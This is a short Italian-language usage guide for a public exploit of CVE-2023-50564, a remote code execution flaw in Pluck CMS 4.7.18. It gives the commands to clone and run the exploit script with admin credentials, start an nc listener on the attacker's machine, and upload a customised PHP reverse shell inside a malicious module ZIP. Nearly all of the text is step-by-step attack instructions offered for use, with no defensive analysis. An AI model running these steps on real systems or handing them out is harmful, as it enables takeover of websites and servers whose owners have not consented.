
Pluck v4.7.18 - Esecuzione di codice in remoto (RCE)
Questo exploit permette a un amministratore autenticato in Pluck CMS v4.7.18 di caricare un modulo ZIP dannoso contenente una shell PHP, con conseguente esecuzione di codice in remoto (RCE).
installmodulegit clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt
python3 exploit.py -h
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
Per prima cosa, il listener della reverse shell dovrebbe essere avviato sulla macchina attaccante (questa scheda del terminale non dovrebbe essere chiusa):
nc -nvlp <specifica porta>
Quindi, scarica la reverse shell PHP da https://github.com/pentestmonkey/php-reverse-shell e personalizzala in base alla macchina attaccante. (IP, porta)
Esegui il codice dell'exploit su un'altra scheda:
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php